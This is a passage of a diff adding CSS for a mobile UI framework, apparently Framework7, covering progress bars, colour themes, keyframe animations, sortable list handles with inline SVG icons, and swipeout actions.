2px; +} +.ios .progressbar span { + background: #007aff; +} +.ios .progressbar-infinite:before { + content: ''; + background: #007aff; + -webkit-animation: ios-progressbar-infinite 1s linear infinite; + animation: ios-progressbar-infinite 1s linear infinite; +} +.ios .progressbar-infinite.color-multi:before { + width: 400%; + background-image: -webkit-gradient(linear, left top, right top, from(#4cd964), color-stop(#5ac8fa), color-stop(#007aff), color-stop(#34aadc), color-stop(#5856d6), color-stop(#ff2d55), color-stop(#5856d6), color-stop(#34aadc), color-stop(#007aff), color-stop(#5ac8fa), to(#4cd964)); + background-image: -webkit-linear-gradient(left, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-image: linear-gradient(to right, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-size: 25% 100%; + background-repeat: repeat-x; + -webkit-animation: ios-progressbar-infinite-multicolor 3s linear infinite; + animation: ios-progressbar-infinite-multicolor 3s linear infinite; +} +.ios .color-theme-red .progressbar span { + background: #ff3b30; +} +.ios .color-theme-red .progressbar-infinite:before { + background: #ff3b30; +} +.ios .color-theme-green .progressbar span { + background: #4cd964; +} +.ios .color-theme-green .progressbar-infinite:before { + background: #4cd964; +} +.ios .color-theme-blue .progressbar span { + background: #007aff; +} +.ios .color-theme-blue .progressbar-infinite:before { + background: #007aff; +} +.ios .color-theme-pink .progressbar span { + background: #ff2d55; +} +.ios .color-theme-pink .progressbar-infinite:before { + background: #ff2d55; +} +.ios .color-theme-yellow .progressbar span { + background: #ffcc00; +} +.ios .color-theme-yellow .progressbar-infinite:before { + background: #ffcc00; +} +.ios .color-theme-orange .progressbar span { + background: #ff9500; +} +.ios .color-theme-orange .progressbar-infinite:before { + background: #ff9500; +} +.ios .color-theme-gray .progressbar span { + background: #8e8e93; +} +.ios .color-theme-gray .progressbar-infinite:before { + background: #8e8e93; +} +.ios .color-theme-white .progressbar span { + background: #ffffff; +} +.ios .color-theme-white .progressbar-infinite:before { + background: #ffffff; +} +.ios .color-theme-black .progressbar span { + background: #000000; +} +.ios .color-theme-black .progressbar-infinite:before { + background: #000000; +} +.ios .progressbar.color-red span { + background: #ff3b30; +} +.ios .progressbar-infinite.color-red:before { + background: #ff3b30; +} +.ios .progressbar.color-green span { + background: #4cd964; +} +.ios .progressbar-infinite.color-green:before { + background: #4cd964; +} +.ios .progressbar.color-blue span { + background: #007aff; +} +.ios .progressbar-infinite.color-blue:before { + background: #007aff; +} +.ios .progressbar.color-pink span { + background: #ff2d55; +} +.ios .progressbar-infinite.color-pink:before { + background: #ff2d55; +} +.ios .progressbar.color-yellow span { + background: #ffcc00; +} +.ios .progressbar-infinite.color-yellow:before { + background: #ffcc00; +} +.ios .progressbar.color-orange span { + background: #ff9500; +} +.ios .progressbar-infinite.color-orange:before { + background: #ff9500; +} +.ios .progressbar.color-gray span { + background: #8e8e93; +} +.ios .progressbar-infinite.color-gray:before { + background: #8e8e93; +} +.ios .progressbar.color-white span { + background: #ffffff; +} +.ios .progressbar-infinite.color-white:before { + background: #ffffff; +} +.ios .progressbar.color-black span { + background: #000000; +} +.ios .progressbar-infinite.color-black:before { + background: #000000; +} +@-webkit-keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +@keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +.md .progressbar, +.md .progressbar-infinite { + height: 4px; + background: rgba(33, 150, 243, 0.5); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .progressbar span { + background: #2196f3; +} +.md .progressbar-infinite { + z-index: 15000; +} +.md .progressbar-infinite:before, +.md .progressbar-infinite:after { + content: ''; + background: #2196f3; +} +.md .progressbar-infinite:before { + -webkit-animation: md-progressbar-infinite-1 2s linear infinite; + animation: md-progressbar-infinite-1 2s linear infinite; +} +.md .progressbar-infinite:after { + -webkit-animation: md-progressbar-infinite-2 2s linear infinite; + animation: md-progressbar-infinite-2 2s linear infinite; +} +.md .progressbar-infinite.color-multi:before { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; + animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; +} +.md .progressbar-infinite.color-multi:after { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + -webkit-transform-origin: center center; + transform-origin: center center; +} +.md .color-theme-red .progressbar, +.md .color-theme-red .progressbar-infinite { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .progressbar span { + background: #f44336; +} +.md .color-theme-red .progressbar-infinite:before, +.md .color-theme-red .progressbar-infinite:after { + background: #f44336; +} +.md .color-theme-green .progressbar, +.md .color-theme-green .progressbar-infinite { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .progressbar span { + background: #4caf50; +} +.md .color-theme-green .progressbar-infinite:before, +.md .color-theme-green .progressbar-infinite:after { + background: #4caf50; +} +.md .color-theme-blue .progressbar, +.md .color-theme-blue .progressbar-infinite { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .progressbar span { + background: #2196f3; +} +.md .color-theme-blue .progressbar-infinite:before, +.md .color-theme-blue .progressbar-infinite:after { + background: #2196f3; +} +.md .color-theme-pink .progressbar, +.md .color-theme-pink .progressbar-infinite { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .progressbar span { + background: #e91e63; +} +.md .color-theme-pink .progressbar-infinite:before, +.md .color-theme-pink .progressbar-infinite:after { + background: #e91e63; +} +.md .color-theme-yellow .progressbar, +.md .color-theme-yellow .progressbar-infinite { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .progressbar span { + background: #ffeb3b; +} +.md .color-theme-yellow .progressbar-infinite:before, +.md .color-theme-yellow .progressbar-infinite:after { + background: #ffeb3b; +} +.md .color-theme-orange .progressbar, +.md .color-theme-orange .progressbar-infinite { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .progressbar span { + background: #ff9800; +} +.md .color-theme-orange .progressbar-infinite:before, +.md .color-theme-orange .progressbar-infinite:after { + background: #ff9800; +} +.md .color-theme-gray .progressbar, +.md .color-theme-gray .progressbar-infinite { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .progressbar span { + background: #9e9e9e; +} +.md .color-theme-gray .progressbar-infinite:before, +.md .color-theme-gray .progressbar-infinite:after { + background: #9e9e9e; +} +.md .color-theme-white .progressbar, +.md .color-theme-white .progressbar-infinite { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .progressbar span { + background: #ffffff; +} +.md .color-theme-white .progressbar-infinite:before, +.md .color-theme-white .progressbar-infinite:after { + background: #ffffff; +} +.md .color-theme-black .progressbar, +.md .color-theme-black .progressbar-infinite { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .progressbar span { + background: #000000; +} +.md .color-theme-black .progressbar-infinite:before, +.md .color-theme-black .progressbar-infinite:after { + background: #000000; +} +.md .progressbar.color-red, +.md .progressbar-infinite.color-red { + background: rgba(244, 67, 54, 0.5); +} +.md .progressbar.color-red span { + background: #f44336; +} +.md .progressbar-infinite.color-red:before, +.md .progressbar-infinite.color-red:after { + background: #f44336; +} +.md .progressbar.color-green, +.md .progressbar-infinite.color-green { + background: rgba(76, 175, 80, 0.5); +} +.md .progressbar.color-green span { + background: #4caf50; +} +.md .progressbar-infinite.color-green:before, +.md .progressbar-infinite.color-green:after { + background: #4caf50; +} +.md .progressbar.color-blue, +.md .progressbar-infinite.color-blue { + background: rgba(33, 150, 243, 0.5); +} +.md .progressbar.color-blue span { + background: #2196f3; +} +.md .progressbar-infinite.color-blue:before, +.md .progressbar-infinite.color-blue:after { + background: #2196f3; +} +.md .progressbar.color-pink, +.md .progressbar-infinite.color-pink { + background: rgba(233, 30, 99, 0.5); +} +.md .progressbar.color-pink span { + background: #e91e63; +} +.md .progressbar-infinite.color-pink:before, +.md .progressbar-infinite.color-pink:after { + background: #e91e63; +} +.md .progressbar.color-yellow, +.md .progressbar-infinite.color-yellow { + background: rgba(255, 235, 59, 0.5); +} +.md .progressbar.color-yellow span { + background: #ffeb3b; +} +.md .progressbar-infinite.color-yellow:before, +.md .progressbar-infinite.color-yellow:after { + background: #ffeb3b; +} +.md .progressbar.color-orange, +.md .progressbar-infinite.color-orange { + background: rgba(255, 152, 0, 0.5); +} +.md .progressbar.color-orange span { + background: #ff9800; +} +.md .progressbar-infinite.color-orange:before, +.md .progressbar-infinite.color-orange:after { + background: #ff9800; +} +.md .progressbar.color-gray, +.md .progressbar-infinite.color-gray { + background: rgba(158, 158, 158, 0.5); +} +.md .progressbar.color-gray span { + background: #9e9e9e; +} +.md .progressbar-infinite.color-gray:before, +.md .progressbar-infinite.color-gray:after { + background: #9e9e9e; +} +.md .progressbar.color-white, +.md .progressbar-infinite.color-white { + background: rgba(255, 255, 255, 0.5); +} +.md .progressbar.color-white span { + background: #ffffff; +} +.md .progressbar-infinite.color-white:before, +.md .progressbar-infinite.color-white:after { + background: #ffffff; +} +.md .progressbar.color-black, +.md .progressbar-infinite.color-black { + background: rgba(0, 0, 0, 0.5); +} +.md .progressbar.color-black span { + background: #000000; +} +.md .progressbar-infinite.color-black:before, +.md .progressbar-infinite.color-black:after { + background: #000000; +} +@-webkit-keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@-webkit-keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +@keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + right: 0; + background-position: 100% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.ios .sortable-handler { + width: 35px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E"); +} +.ios .sortable li.sorting { + -webkit-box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); + box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); +} +.ios .sortable-enabled .item-inner, +.ios .sortable-enabled .item-link .item-inner { + padding-right: 35px; +} +.ios .list.sortable-enabled .item-link.no-chevron .item-inner, +.ios .list.sortable-enabled.no-chevron .item-link .item-inner, +.ios .list.sortable-enabled .no-chevron .item-link .item-inner, +.ios .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-right: 35px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-right-edge .sortable-handler, + .ios.device-iphone-x .ios-edges .sortable-handler, + .ios.device-iphone-x .popup .sortable-handler, + .ios.device-iphone-x .sheet-modal .sortable-handler, + .ios.device-iphone-x .panel-right .sortable-handler { + right: constant(safe-area-inset-right); + right: env(safe-area-inset-right); + } + .ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } +} +.md .sortable-handler { + width: 50px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E"); +} +.md .sortable li.sorting { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .sortable-enabled .item-inner, +.md .sortable-enabled .item-link .item-inner { + padding-right: 50px; +} +.md .list.sortable-enabled .item-link.no-chevron .item-inner, +.md .list.sortable-enabled.no-chevron .item-link .item-inner, +.md .list.sortable-enabled .no-chevron .item-link .item-inner, +.md .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-right: 50px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-right-edge .sortable-handler, + .md.device-iphone-x .ios-edges .sortable-handler, + .md.device-iphone-x .popup .sortable-handler, + .md.device-iphone-x .sheet-modal .sortable-handler, + .md.device-iphone-x .panel-right .sortable-handler { + right: constant(safe-area-inset-right); + right: env(safe-area-inset-right); + } + .md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(42px + constant(safe-area-inset-right)); + padding-right: calc(42px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.ios .swipeout-actions-left > a, +.ios .swipeout-actions-right > a, +.ios .swipeout-actions-left > button, +.ios .swipeout-actions-right > button, +.ios .swipeout-actions-left > span, +.ios .swipeout-actions-right > span, +.ios .swipeout-actions-left > div, +.ios .swipeout-actions-right > div { + padding: 0 30px; + color: #fff; +} +.ios .swipeout-actions-left .swipeout-delete, +.ios .swipeout-actions-right .swipeout-delete { + background: #ff3b30; +} +.ios .swipeout-actions-left > a.color-red, +.ios .swipeout-actions-right > a.color-red, +.ios .swipeout-actions-left > button.color-red, +.ios .swipeout-actions-right > button.color-red, +.ios .swipeout-actions-left > span.color-red, +.ios .swipeout-actions-right > span.color-red, +.ios .swipeout-actions-left > div.color-red, +.ios .swipeout-actions-right > div.color-red { + background-color: #ff3b30; +} +.ios .swipeout-actions-left > a.color-green, +.ios .swipeout-actions-right > a.color-green, +.ios .swipeout-actions-left > button.color-green, +.ios .swipeout-actions-right > button.color-green, +.ios .swipeout-actions-left > span.color-green, +.ios .swipeout-actions-right > span.color-green, +.ios .swipeout-actions-left > div.color-green, +.ios .swipeout-actions-right > div.color-green { + background-color: #4cd964; +} +.ios .swipeout-actions-left > a.color-blue, +.ios .swipeout-actions-right > a.color-blue, +.ios .swipeout-actions-left > button.color-blue, +.ios .swipeout-actions-right > button.color-blue, +.ios .swipeout-actions-left > span.color-blue, +.ios .swipeout-actions-right > span.color-blue, +.ios .swipeout-actions-left > div.color-blue, +.ios .swipeout-actions-right > div.color-blue { + background-color: #007aff; +} +.ios .swipeout-actions-left > a.color-pink, +.ios .swipeout-actions-right > a.color-pink, +.ios .swipeout-actions-left > button.color-pink, +.ios .swipeout-actions-right > button.color-pink, +.ios .swipeout-actions-left > span.color-pink, +.ios .swipeout-actions-right > span.color-pink, +.ios .swipeout-actions-left > div.color-pink, +.ios .swipeout-actions-right > div.color-pink { + background-color: #ff2d55; +} +.ios .swipeout-actions-left > a.color-yellow, +.ios .swipeout-actions-right > a.color-yellow, +.ios .swipeout-actions-left > button.color-yellow, +.ios .swipeout-actions-right > button.color-yellow, +.ios .swipeout-actions-left > span.color-yellow, +.ios .swipeout-actions-right > span.color-yellow, +.ios .swipeout-actions-left > div.color-yellow, +.ios .swipeout-actions-right > div.color-yellow { + background-color: #ffcc00; +} +.ios .swipeout-actions-left > a.color-orange, +.ios .swipeout-actions-right > a.color-orange, +.ios .swipeout-actions-left > button.color-orange, +.ios .swipeout-actions-right > button.color-orange, +.ios .swipeout-actions-left > span.color-orange, +.ios .swipeout-actions-right > span.color-orange, +.ios .swipeout-actions-left > div.color-orange, +.ios .swipeout-actions-right > div.color-orange { + background-color: #ff9500; +} +.ios .swipeout-actions-left > a.color-gray, +.ios .swipeout-actions-right > a.color-gray, +.ios .swipeout-actions-left > button.color-gray, +.ios .swipeout-actions-right > button.color-gray, +.ios .swipeout-actions-left > span.color-gray, +.ios .swipeout-actions-right > span.color-gray, +.ios .swipeout-actions-left > div.color-gray, +.ios .swipeout-actions-right > div.color-gray { + background-color: #8e8e93; +} +.ios .swipeout-actions-left > a.color-white, +.ios .swipeout-actions-right > a.color-white, +.ios .swipeout-actions-left > button.color-white, +.ios .swipeout-actions-right > button.color-white, +.ios .swipeout-actions-left > span.color-white, +.ios .swipeout-actions-right > span.color-white, +.ios .swipeout-actions-left > div.color-white, +.ios .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.ios .swipeout-actions-left > a.color-black, +.ios .swipeout-actions-right > a.color-black, +.ios .swipeout-actions-left > button.color-black, +.ios .swipeout-actions-right > button.color-black, +.ios .swipeout-actions-left > span.color-black, +.ios .swipeout-actions-right > span.color-black, +.ios .swipeout-actions-left > div.color-black, +.ios .swipeout-actions-right > div.color-black { + background-color: #000000; +} +.md .swipeout-actions-left > a, +.md .swipeout-actions-right > a, +.md .swipeout-actions-left > button, +.md .swipeout-actions-right > button, +.md .swipeout-actions-left > span, +.md .swipeout-actions-right > span, +.md .swipeout-actions-left > div, +.md .swipeout-actions-right > div { + padding: 0 24px; + color: #fff; +} +.md .swipeout-actions-left .swipeout-delete, +.md .swipeout-actions-right .swipeout-delete { + background: #f44336; +} +.md .swipeout-actions-left > a.color-red, +.md .swipeout-actions-right > a.color-red, +.md .swipeout-actions-left > button.color-red, +.md .swipeout-actions-right > button.color-red, +.md .swipeout-actions-left > span.color-red, +.md .swipeout-actions-right > span.color-red, +.md .swipeout-actions-left > div.color-red, +.md .swipeout-actions-right > div.color-red { + background-color: #f44336; +} +.md .swipeout-actions-left > a.color-green, +.md .swipeout-actions-right > a.color-green, +.md .swipeout-actions-left > button.color-green, +.md .swipeout-actions-right > button.color-green, +.md .swipeout-actions-left > span.color-green, +.md .swipeout-actions-right > span.color-green, +.md .swipeout-actions-left > div.color-green, +.md .swipeout-actions-right > div.color-green { + background-color: #4caf50; +} +.md .swipeout-actions-left > a.color-blue, +.md .swipeout-actions-right > a.color-blue, +.md .swipeout-actions-left > button.color-blue, +.md .swipeout-actions-right > button.color-blue, +.md .swipeout-actions-left > span.color-blue, +.md .swipeout-actions-right > span.color-blue, +.md .swipeout-actions-left > div.color-blue, +.md .swipeout-actions-right > div.color-blue { + background-color: #2196f3; +} +.md .swipeout-actions-left > a.color-pink, +.md .swipeout-actions-right > a.color-pink, +.md .swipeout-actions-left > button.color-pink, +.md .swipeout-actions-right > button.color-pink, +.md .swipeout-actions-left > span.color-pink, +.md .swipeout-actions-right > span.color-pink, +.md .swipeout-actions-left > div.color-pink, +.md .swipeout-actions-right > div.color-pink { + background-color: #e91e63; +} +.md .swipeout-actions-left > a.color-yellow, +.md .swipeout-actions-right > a.color-yellow, +.md .swipeout-actions-left > button.color-yellow, +.md .swipeout-actions-right > button.color-yellow, +.md .swipeout-actions-left > span.color-yellow, +.md .swipeout-actions-right > span.color-yellow, +.md .swipeout-actions-left > div.color-yellow, +.md .swipeout-actions-right > div.color-yellow { + background-color: #ffeb3b; +} +.md .swipeout-actions-left > a.color-orange, +.md .swipeout-actions-right > a.color-orange, +.md .swipeout-actions-left > button.color-orange, +.md .swipeout-actions-right > button.color-orange, +.md 